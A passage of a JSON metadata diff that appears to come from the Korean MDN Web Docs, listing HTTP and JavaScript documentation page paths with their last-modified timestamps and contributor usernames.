"limkukhyun", + "hard_coder", + "minijaypark", + "gwonsungjun", + "pineoc", + "Curzy", + "kw8799", + "AngelaMIN", + "gnujoow", + "cjh5414", + "JisuPark", + "devcken", + "zackery.lim", + "sangwook-kim", + "hoony" + ] + }, + "Web/HTTP/CORS/Errors": { + "modified": "2020-02-05T05:44:10.166Z", + "contributors": [ + "SphinxKnight", + "nchevobbe" + ] + }, + "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { + "modified": "2020-02-05T05:44:09.781Z", + "contributors": [ + "SphinxKnight", + "LazyRichard" + ] + }, + "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { + "modified": "2020-03-16T11:34:09.122Z", + "contributors": [ + "cs09g" + ] + }, + "Web/HTTP/Caching": { + "modified": "2020-12-07T03:01:05.442Z", + "contributors": [ + "Dong-Young_Lee", + "quserinn", + "U-lis", + "LumiLoves", + "pdvonzoo", + "amorfati0310", + "seungha-kim", + "devcken" + ] + }, + "Web/HTTP/Compression": { + "modified": "2020-11-24T03:58:08.551Z", + "contributors": [ + "heowc", + "devcken" + ] + }, + "Web/HTTP/Conditional_requests": { + "modified": "2019-03-23T22:26:36.069Z", + "contributors": [ + "pdvonzoo", + "devcken" + ] + }, + "Web/HTTP/Connection_management_in_HTTP_1.x": { + "modified": "2019-09-22T05:23:40.824Z", + "contributors": [ + "jeonghoon_park", + "chatoo2412", + "devcken" + ] + }, + "Web/HTTP/Content_negotiation": { + "modified": "2019-09-08T07:36:46.735Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Cookies": { + "modified": "2020-09-25T01:03:32.520Z", + "contributors": [ + "parksb", + "ghleokim", + "Violet-Bora-Lee", + "eubnara", + "GiwonKwon", + "Younghoo", + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers": { + "modified": "2019-04-25T09:00:35.813Z", + "contributors": [ + "cs09g", + "infohojin", + "MrJadaml" + ] + }, + "Web/HTTP/Headers/Accept": { + "modified": "2020-10-15T21:49:15.874Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Accept-Charset": { + "modified": "2020-10-15T21:49:17.720Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Accept-Encoding": { + "modified": "2020-10-15T21:49:19.087Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Accept-Language": { + "modified": "2020-10-15T21:49:29.529Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Accept-Ranges": { + "modified": "2020-10-15T21:49:32.861Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Access-Control-Allow-Credentials": { + "modified": "2020-10-15T22:13:42.878Z", + "contributors": [ + "marocchino", + "beewee22", + "yuntaek" + ] + }, + "Web/HTTP/Headers/Access-Control-Allow-Headers": { + "modified": "2020-10-15T22:13:34.399Z", + "contributors": [ + "ybkimm", + "yuntaek" + ] + }, + "Web/HTTP/Headers/Access-Control-Allow-Origin": { + "modified": "2020-10-15T22:09:56.537Z", + "contributors": [ + "zilhak", + "Latera" + ] + }, + "Web/HTTP/Headers/Access-Control-Request-Headers": { + "modified": "2020-10-15T22:23:36.554Z", + "contributors": [ + "hard_coder" + ] + }, + "Web/HTTP/Headers/Access-Control-Request-Method": { + "modified": "2020-10-15T22:23:36.531Z", + "contributors": [ + "hard_coder" + ] + }, + "Web/HTTP/Headers/Age": { + "modified": "2020-10-15T21:49:46.926Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Allow": { + "modified": "2019-10-15T00:54:26.644Z", + "contributors": [ + "hard_coder" + ] + }, + "Web/HTTP/Headers/Authorization": { + "modified": "2019-03-18T21:42:26.332Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Cache-Control": { + "modified": "2020-10-15T21:49:49.401Z", + "contributors": [ + "1sonjm", + "seungha-kim", + "devcken" + ] + }, + "Web/HTTP/Headers/Connection": { + "modified": "2020-11-26T12:32:53.012Z", + "contributors": [ + "gittykite", + "ApdoMine", + "devcken" + ] + }, + "Web/HTTP/Headers/Content-Disposition": { + "modified": "2020-10-15T22:28:27.432Z", + "contributors": [ + "HyeongJooKim", + "pitachips" + ] + }, + "Web/HTTP/Headers/Content-Encoding": { + "modified": "2020-10-15T21:49:48.809Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Content-Language": { + "modified": "2020-10-15T21:49:50.608Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Content-Length": { + "modified": "2020-10-15T21:49:48.687Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/Content-Location": { + "modified": "2020-10-15T21:50:13.955Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Content-Range": { + "modified": "2020-10-15T22:00:46.743Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Content-Security-Policy": { + "modified": "2020-10-15T22:04:29.043Z", + "contributors": [ + "alattalatta", + "scottsb" + ] + }, + "Web/HTTP/Headers/Content-Security-Policy/default-src": { + "modified": "2020-10-15T22:04:28.625Z", + "contributors": [ + "karuana" + ] + }, + "Web/HTTP/Headers/Content-Security-Policy/img-src": { + "modified": "2020-10-15T22:04:28.671Z", + "contributors": [ + "karuana" + ] + }, + "Web/HTTP/Headers/Content-Security-Policy/report-to": { + "modified": "2020-10-15T22:04:19.571Z", + "contributors": [ + "karuana" + ] + }, + "Web/HTTP/Headers/Content-Security-Policy/script-src": { + "modified": "2020-10-15T22:04:24.340Z", + "contributors": [ + "karuana" + ] + }, + "Web/HTTP/Headers/Content-Type": { + "modified": "2020-10-15T21:49:42.673Z", + "contributors": [ + "SungMinHong", + "devcken" + ] + }, + "Web/HTTP/Headers/Cookie": { + "modified": "2020-10-15T21:50:23.726Z", + "contributors": [ + "jkpark", + "devcken" + ] + }, + "Web/HTTP/Headers/DNT": { + "modified": "2020-10-15T21:50:24.375Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Date": { + "modified": "2020-10-15T21:50:25.226Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/ETag": { + "modified": "2020-10-15T21:51:23.650Z", + "contributors": [ + "Taehee_Kim", + "Nept-una", + "joshua1988" + ] + }, + "Web/HTTP/Headers/Expect": { + "modified": "2019-03-18T21:43:08.596Z", + "contributors": [ + "cmygray" + ] + }, + "Web/HTTP/Headers/Expires": { + "modified": "2020-10-15T21:50:26.727Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Forwarded": { + "modified": "2019-04-17T02:18:58.893Z", + "contributors": [ + "Leadersama", + "gaucho1218" + ] + }, + "Web/HTTP/Headers/From": { + "modified": "2020-10-15T21:50:24.429Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Host": { + "modified": "2020-10-15T21:49:46.055Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/If-Modified-Since": { + "modified": "2020-10-15T22:21:48.824Z", + "contributors": [ + "hedy.kim" + ] + }, + "Web/HTTP/Headers/If-Range": { + "modified": "2020-10-15T22:00:48.030Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Keep-Alive": { + "modified": "2020-10-15T21:50:23.883Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Last-Modified": { + "modified": "2020-10-15T22:00:42.496Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Origin": { + "modified": "2020-10-15T22:30:04.982Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/HTTP/Headers/Pragma": { + "modified": "2020-10-15T21:59:31.503Z", + "contributors": [ + "Shiwoo-Park" + ] + }, + "Web/HTTP/Headers/Range": { + "modified": "2020-10-15T22:00:39.339Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Referer": { + "modified": "2020-10-15T21:50:11.143Z", + "contributors": [ + "Dong-il.Kim", + "devcken" + ] + }, + "Web/HTTP/Headers/Retry-After": { + "modified": "2020-10-15T21:50:27.484Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Server": { + "modified": "2020-10-15T22:03:36.011Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Headers/Set-Cookie": { + "modified": "2020-10-15T22:10:26.465Z", + "contributors": [ + "jay94ks" + ] + }, + "Web/HTTP/Headers/Strict-Transport-Security": { + "modified": "2020-10-15T21:56:49.544Z", + "contributors": [ + "fransoaardi", + "daebum-lee" + ] + }, + "Web/HTTP/Headers/Transfer-Encoding": { + "modified": "2020-10-15T21:51:02.263Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Headers/Vary": { + "modified": "2020-10-15T22:15:03.489Z", + "contributors": [ + "hedy.kim" + ] + }, + "Web/HTTP/Headers/Via": { + "modified": "2020-10-15T22:35:16.297Z", + "contributors": [ + "hedy.kim" + ] + }, + "Web/HTTP/Headers/X-Forwarded-For": { + "modified": "2020-10-15T22:17:09.983Z", + "contributors": [ + "BenjaminYou" + ] + }, + "Web/HTTP/Headers/X-Forwarded-Host": { + "modified": "2020-10-15T22:27:22.961Z", + "contributors": [ + "hedy.kim" + ] + }, + "Web/HTTP/Headers/X-Forwarded-Proto": { + "modified": "2019-03-23T22:18:20.269Z", + "contributors": [ + "llogs" + ] + }, + "Web/HTTP/Headers/X-Frame-Options": { + "modified": "2020-10-15T22:08:30.723Z", + "contributors": [ + "epic", + "jkpark" + ] + }, + "Web/HTTP/Headers/X-XSS-Protection": { + "modified": "2020-11-23T08:49:47.380Z", + "contributors": [ + "nesez", + "Simtu" + ] + }, + "Web/HTTP/Index": { + "modified": "2020-02-05T12:28:02.372Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTTP/Messages": { + "modified": "2019-03-18T20:59:38.193Z", + "contributors": [ + "young-gratia", + "moodcoding", + "devcken" + ] + }, + "Web/HTTP/Methods": { + "modified": "2020-10-15T21:51:25.078Z", + "contributors": [ + "alattalatta", + "flavono123", + "dbwodlf3", + "kidkkr", + "fscholz" + ] + }, + "Web/HTTP/Methods/CONNECT": { + "modified": "2020-10-15T22:04:24.119Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Methods/DELETE": { + "modified": "2020-10-15T21:59:03.643Z", + "contributors": [ + "alattalatta", + "likeahandy", + "billopark", + "frankradio" + ] + }, + "Web/HTTP/Methods/GET": { + "modified": "2020-10-15T21:51:25.549Z", + "contributors": [ + "alattalatta", + "lee-seul", + "AngelaMIN", + "knight2995" + ] + }, + "Web/HTTP/Methods/HEAD": { + "modified": "2020-10-15T21:51:24.747Z", + "contributors": [ + "alattalatta", + "sbqsbqsbq", + "chatoo2412", + "knight2995" + ] + }, + "Web/HTTP/Methods/OPTIONS": { + "modified": "2020-10-15T22:13:35.026Z", + "contributors": [ + "elenajel", + "momoci99", + "njh7799", + "HYUNA_LEE" + ] + }, + "Web/HTTP/Methods/PATCH": { + "modified": "2020-11-12T01:54:11.708Z", + "contributors": [ + "imione", + "fransoaardi", + "njh7799" + ] + }, + "Web/HTTP/Methods/POST": { + "modified": "2020-10-15T21:54:35.754Z", + "contributors": [ + "alattalatta", + "CressZZ", + "frankradio", + "AngelaMIN", + "sephiron99", + "dbwodlf3" + ] + }, + "Web/HTTP/Methods/PUT": { + "modified": "2020-10-15T22:00:38.104Z", + "contributors": [ + "alattalatta", + "gaucho1218" + ] + }, + "Web/HTTP/Overview": { + "modified": "2020-11-23T12:40:19.297Z", + "contributors": [ + "heowc", + "daum7766", + "JisooLee", + "alattalatta", + "leoinsight", + "project42da", + "dbwodlf3", + "devcken" + ] + }, + "Web/HTTP/Range_requests": { + "modified": "2019-03-18T21:43:46.444Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Redirections": { + "modified": "2020-11-16T03:23:48.575Z", + "contributors": [ + "galcyurio", + "mingrammer", + "devcken" + ] + }, + "Web/HTTP/Resources_and_URIs": { + "modified": "2019-03-18T21:43:18.320Z", + "contributors": [ + "jkpark" + ] + }, + "Web/HTTP/Resources_and_specifications": { + "modified": "2019-03-23T22:26:24.310Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Session": { + "modified": "2019-09-22T04:32:24.240Z", + "contributors": [ + "devcken" + ] + }, + "Web/HTTP/Status": { + "modified": "2020-10-15T21:47:24.672Z", + "contributors": [ + "FennecFoxSW", + "yjs000", + "Hozerogold", + "gaucho1218", + "fscholz", + "desty" + ] + }, + "Web/HTTP/Status/100": { + "modified": "2020-10-15T21:59:59.083Z", + "contributors": [ + "alattalatta", + "johngrib" + ] + }, + "Web/HTTP/Status/101": { + "modified": "2019-08-19T03:28:08.046Z", + "contributors": [ + "alattalatta", + "Suckzoo" + ] + }, + "Web/HTTP/Status/103": { + "modified": "2020-10-15T22:29:44.920Z", + "contributors": [ + "yeonme" + ] + }, + "Web/HTTP/Status/200": { + "modified": "2020-10-15T22:00:39.842Z", + "contributors": [ + "alattalatta", + "ddojung", + "gaucho1218" + ] + }, + "Web/HTTP/Status/201": { + "modified": "2020-10-15T22:15:10.415Z", + "contributors": [ + "coremaker", + "alattalatta", + "woniok" + ] + }, + "Web/HTTP/Status/202": { + "modified": "2020-11-11T08:43:58.279Z", + "contributors": [ + "04SeoHyun" + ] + }, + "Web/HTTP/Status/204": { + "modified": "2020-10-15T22:26:07.312Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/HTTP/Status/205": { + "modified": "2019-10-21T23:25:57.178Z", + "contributors": [ + "Leekyungun" + ] + }, + "Web/HTTP/Status/206": { + "modified": "2020-10-15T22:00:38.502Z", + "contributors": [ + "alattalatta", + "gaucho1218" + ] + }, + "Web/HTTP/Status/301": { + "modified": "2020-10-15T21:57:45.425Z", + "contributors": [ + "EatChangmyeong", + "Latera" + ] + }, + "Web/HTTP/Status/302": { + "modified": "2020-10-15T22:09:33.033Z", + "contributors": [ + "constmoon", + "jinbeomhong" + ] + }, + "Web/HTTP/Status/304": { + "modified": "2020-10-15T22:15:25.054Z", + "contributors": [ + "hedy.kim", + "NoFence" + ] + }, + "Web/HTTP/Status/307": { + "modified": "2020-10-15T22:32:27.392Z", + "contributors": [ + "hedy.kim" + ] + }, + "Web/HTTP/Status/400": { + "modified": "2019-03-18T20:40:51.653Z", + "contributors": [ + "parksb" + ] + }, + "Web/HTTP/Status/401": { + "modified": "2020-10-15T22:22:08.295Z", + "contributors": [ + "alattalatta", + "feel5ny" + ] + }, + "Web/HTTP/Status/403": { + "modified": "2020-11-23T08:46:49.853Z", + "contributors": [ + "nesez", + "parksb", + "derren-korean" + ] + }, + "Web/HTTP/Status/404": { + "modified": "2020-10-15T21:56:17.391Z", + "contributors": [ + "parksb", + "wicksome" + ] + }, + "Web/HTTP/Status/405": { + "modified": "2019-03-18T21:39:51.856Z", + "contributors": [ + "rubysoho07" + ] + }, + "Web/HTTP/Status/408": { + "modified": "2020-09-08T23:34:11.217Z", + "contributors": [ + "junnapark" + ] + }, + "Web/HTTP/Status/409": { + "modified": "2019-08-18T03:42:44.148Z", + "contributors": [ + "feel5ny" + ] + }, + "Web/HTTP/Status/411": { + "modified": "2019-03-18T21:20:29.536Z", + "contributors": [ + "Hozerogold" + ] + }, + "Web/HTTP/Status/413": { + "modified": "2019-03-18T21:20:20.721Z", + "contributors": [ + "Hozerogold" + ] + }, + "Web/HTTP/Status/416": { + "modified": "2020-10-15T22:00:42.177Z", + "contributors": [ + "gaucho1218" + ] + }, + "Web/HTTP/Status/418": { + "modified": "2020-10-15T22:15:42.086Z", + "contributors": [ + "alattalatta", + "parksb" + ] + }, + "Web/HTTP/Status/422": { + "modified": "2019-04-22T01:23:47.412Z", + "contributors": [ + "ddojung", + "idw111" + ] + }, + "Web/HTTP/Status/431": { + "modified": "2020-09-09T00:09:17.676Z", + "contributors": [ + "junnapark" + ] + }, + "Web/HTTP/Status/500": { + "modified": "2020-10-15T22:16:11.441Z", + "contributors": [ + "BenjaminYou" + ] + }, + "Web/HTTP/Status/501": { + "modified": "2020-10-15T22:34:10.166Z", + "contributors": [ + "junnapark" + ] + }, + "Web/HTTP/Status/502": { + "modified": "2020-10-15T22:34:00.158Z", + "contributors": [ + "junnapark" + ] + }, + "Web/HTTP/Status/503": { + "modified": "2020-10-15T22:14:29.476Z", + "contributors": [ + "dragmove" + ] + }, + "Web/HTTP/Status/504": { + "modified": "2020-10-20T02:51:30.454Z", + "contributors": [ + "bluayer" + ] + }, + "Web/HTTP/Status/505": { + "modified": "2020-11-10T09:19:56.364Z", + "contributors": [ + "junnapark" + ] + }, + "Web/HTTP/User_agent를_이용한_브라우저_감지": { + "modified": "2020-09-13T12:21:12.513Z", + "contributors": [ + "sephiron99", + "MyungsunLee", + "alattalatta", + "citrus.alice", + "seokju-na", + "wicksome" + ] + }, + "Web/JavaScript": { + "modified": "2020-03-23T04:53:28.173Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "cs09g", + "limkukhyun", + "Olivia_J", + "soomtong", + "yuj25", + "Geun-Hyung_Kim", + "Netaras", + "incleaf", + "hoony", + "nacyot", + "lazysense", + "stephenjang", + "teoli", + "jsx", + "JaehaAhn", + "ChangJooPark", + "Luzi.kr", + "iMaZiNe", + "Jeado.Ko", + "MoGi", + "jaemin_jo", + "taggon", + "fscholz", + "Dyhan81", + "Verruckt", + "Jiyoon", + "Channy", + "JongChun" + ] + }, + "Web/JavaScript/About": { + "modified": "2020-03-12T19:36:55.143Z", + "contributors": [ + "JinKang", + "Parcovia", + "cs09g", + "imjang57", + "wayne-kim", + "desty", + "stephenjang", + "Luzi.kr", + "teoli", + "Zer0th", + "99corps" + ] + }, + "Web/JavaScript/Data_structures": { + "modified": "2020-07-30T02:41:19.847Z", + "contributors": [ + "justttttin", + "Dongheon", + "MrKwon", + "Jeado.Ko", + "seungha-kim", + "sftblw", + "teoli", + "jaemin_jo" + ] + }, + "Web/JavaScript/Differential_inheritance_in_JavaScript": { + "modified": "2020-09-14T22:22:46.677Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Enumerability_and_ownership_of_properties": { + "modified": "2020-07-28T23:08:47.885Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Equality_comparisons_and_sameness": { + "modified": "2020-03-12T19:43:42.580Z", + "contributors": [ + "limkukhyun", + "sshplendid", + "Netaras", + "joshua1988" + ] + }, + "Web/JavaScript/EventLoop": { + "modified": "2020-03-12T19:43:30.561Z", + "contributors": [ + "cs09g", + "varvir", + "Ken123777", + "limkukhyun", + "seungha-kim", + "HyunSeob", + "hwshim" + ] + }, + "Web/JavaScript/Guide": { + "modified": "2020-03-12T19:37:41.107Z", + "contributors": [ + "doong-jo", + "limkukhyun", + "alattalatta", + "ddarkchu", + "Donghyun_Lee", + "stephenjang", + "teoli", + "taggon" + ] + }, + "Web/JavaScript/Guide/Closures": { + "modified": "2020-03-12T19:37:58.819Z", + "contributors": [ + "chaewonkong", + "songdoing", + "RamiTae", + "Violet-Bora-Lee", + "alattalatta", + "henry_hwang", + "Seonghui", + "guyeol", + "limkukhyun", + "zziuni", + "Yoonjoo", + "KSH-code", + "afrontend", + "AlexMin", + "Jongmin", + "MyHyuny", + "joeunha", + "Kaben", + "noritersand", + "kdnmih", + "teoli", + "JaehwanLee", + "jaemin_jo" + ] + }, + "Web/JavaScript/Guide/Control_flow_and_error_handling": { + "modified": "2020-03-12T19:41:32.768Z", + "contributors": [ + "limkukhyun", + "KSH-code", + "afterglows", + "charyum.park", + "jadestern", + "sshplendid", + "wertgw", + "woochankim", + "SooYeonKim" + ] + }, + "Web/JavaScript/Guide/Expressions_and_Operators": { + "modified": "2020-04-30T03:43:48.082Z", + "contributors": [ + "HubCodes", + "ukhyun2402", + "alattalatta", + "kasinArc", + "jeongchaeuk", + "khg0712", + "hohoonlee", + "wafersroom", + "honey.and.sw", + "nacyot", + "woochankim", + "wertgw" + ] + }, + "Web/JavaScript/Guide/Indexed_collections": { + "modified": "2020-03-12T19:42:07.636Z", + "contributors": [ + "2kindsofcs", + "limkukhyun", + "Eechul", + "ryukato" + ] + }, + "Web/JavaScript/Guide/Inheritance_and_the_prototype_chain": { + "modified": "2020-04-04T00:50:18.045Z", + "contributors": [ + "peter1035k", + "jeongraeKim", + "dbwodlf3", + "project42da", + "quddnr153", + "ahnzaz", + "laranhee", + "daewooLeeNy", + "danhojin", + "shim.hw0810", + "faker007", + "juyonglee", + "epicsaga", + "sftblw", + "mixed80", + "teoli", + "JaehwanLee", + "jaemin_jo" + ] + }, + "Web/JavaScript/Guide/Iterators_and_Generators": { + "modified": "2020-07-15T01:15:38.167Z", + "contributors": [ + "Oizys18", + "seokju-na", + "leegeunhyeok", + "jeongraeKim", + "ljh0908lee", + "limkukhyun", + "Netaras" + ] + }, + "Web/JavaScript/Guide/Keyed_collections": { + "modified": "2020-03-12T19:42:06.027Z", + "contributors": [ + "Joel-An", + "LumiLoves", + "hoony", + "fureweb", + "nacyot", + "ryukato" + ] + }, + "Web/JavaScript/Guide/Loops_and_iteration": { + "modified": "2020-10-08T09:21:13.596Z", + "contributors": [ + "jongwoo0728", + "yhyim", + "SphinxKnight", + "SSaMKJ", + "gnujoow", + "woochankim", + "JunBeom-Park", + "SooYeonKim" + ] + }, + "Web/JavaScript/Guide/Modules": { + "modified": "2020-10-15T22:18:56.791Z", + "contributors": [ + "raccoonback", + "DeadIntegral" + ] + }, + "Web/JavaScript/Guide/Numbers_and_dates": { + "modified": "2020-11-19T02:20:24.044Z", + "contributors": [ + "n2ptune", + "ukhyun2402", + "limkukhyun", + "pers0n4", + "kbsbroad", + "junoim", + "wertgw", + "SooYeonKim" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About": { + "modified": "2019-01-16T16:11:14.324Z", + "contributors": [ + "teoli", + "Wafe", + "taggon" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages": { + "modified": "2019-01-16T14:15:11.129Z", + "contributors": [ + "teoli", + "99corps" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants": { + "modified": "2019-01-16T16:11:22.319Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects": { + "modified": "2019-01-16T15:05:32.812Z", + "contributors": [ + "teoli", + "Anonymous" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters": { + "modified": "2019-03-23T23:43:54.514Z", + "contributors": [ + "jigs12", + "teoli", + "ethertank", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods": { + "modified": "2019-03-23T23:43:58.661Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type": { + "modified": "2019-03-23T23:43:46.816Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties": { + "modified": "2019-03-23T23:43:53.828Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties": { + "modified": "2019-03-23T23:43:44.923Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function": { + "modified": "2019-03-23T23:43:44.078Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References": { + "modified": "2019-03-23T23:43:58.264Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression": { + "modified": "2019-03-23T23:43:48.309Z", + "contributors": [ + "teoli", + "디토" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions": { + "modified": "2019-01-16T16:16:32.143Z", + "contributors": [ + "teoli", + "taggon" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview": { + "modified": "2019-01-16T14:15:11.648Z", + "contributors": [ + "teoli", + "S. Kang", + "jsnapz", + "Ape1126", + "Wafe", + "Huick", + "Gilchris" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals": { + "modified": "2019-03-23T23:43:37.505Z", + "contributors": [ + "teoli", + "panda", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties": { + "modified": "2019-01-16T15:50:20.671Z", + "contributors": [ + "teoli", + "Gilchris" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators": { + "modified": "2019-03-23T23:41:51.754Z", + "contributors": [ + "teoli", + "taggon" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators": { + "modified": "2019-01-16T16:11:11.253Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators": { + "modified": "2019-03-23T23:41:53.669Z", + "contributors": [ + "teoli", + "taggon" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators": { + "modified": "2019-01-16T16:11:13.405Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators": { + "modified": "2019-01-16T16:11:11.411Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators": { + "modified": "2019-01-16T16:11:17.876Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators": { + "modified": "2019-01-16T16:11:17.176Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects": { + "modified": "2019-01-16T16:10:38.273Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object": { + "modified": "2019-03-23T23:43:56.661Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode": { + "modified": "2019-01-16T16:11:27.423Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values": { + "modified": "2019-01-16T16:11:23.067Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables": { + "modified": "2019-01-16T16:11:22.455Z", + "contributors": [ + "teoli", + "Wafe" + ] + }, + "Web/JavaScript/Guide/Text_formatting": { + "modified": "2020-03-12T19:41:34.500Z", + "contributors": [ + "limkukhyun", + "jungpaeng", + "kr-leeteahoon", + "wertgw", + "SooYeonKim" + ] + }, + "Web/JavaScript/Guide/Using_promises": { + "modified": "2020-09-07T02:53:40.286Z", + "contributors": [ + "KimEJ", + "0131mj", + "mytory", + "eojina", + "limkukhyun", + "tw4204", + "Ken123777", + "coolcpu", + "SSJ-unclear", + "jadestern" + ] + }, + "Web/JavaScript/Guide/Values,_variables,_and_literals": { + "modified": "2020-06-03T11:11:26.830Z", + "contributors": [ + "gksrlf2ek", + "sujinlee0616", + "alattalatta", + "shj9432", + "dsma73", + "yhyim", + "hohoonlee", + "limkukhyun", + "yangtaeho", + "gudrl", + "jadestern", + "ddarkchu", + "Netaras", + "HyunSeob", + "wikibook", + "VBChunguk", + "trazy", + "Donghyun_Lee", + "stephenjang", + "Rudy-Ahn", + "moolow", + "teoli", + "frog44" + ] + }, + "Web/JavaScript/Guide/Working_with_Objects": { + "modified": "2019-03-23T23:06:06.143Z", + "contributors": [ + "fscholz", + "khg0712", + "SphinxKnight", + "nacyot", + "KBGenie", + "jigs12", + "PineMt", + "ryukato", + "cafrii" + ] + }, + "Web/JavaScript/Guide/객체_모델의_세부사항": { + "modified": "2020-03-12T19:42:17.394Z", + "contributors": [ + "doong-jo", + "nmsohn", + "DoublSB", + "limkukhyun", + "wbamberg", + "cmygray", + "khseok1060", + "ryukato" + ] + }, + "Web/JavaScript/Guide/메타_프로그래밍": { + "modified": "2020-03-12T19:41:24.217Z", + "contributors": [ + "limkukhyun", + "nodejs", + "stephenjang" + ] + }, + "Web/JavaScript/Guide/소개": { + "modified": "2020-11-13T15:07:54.630Z", + "contributors": [ + "FennecFoxSW", + "ldss3sang", + "limkukhyun", + "bluerainmaker", + "ahnzaz", + "BG.Choi", + "gudrl", + "gnujoow", + "stitchworkingonthecode", + "ShihwanKim", + "Netaras", + 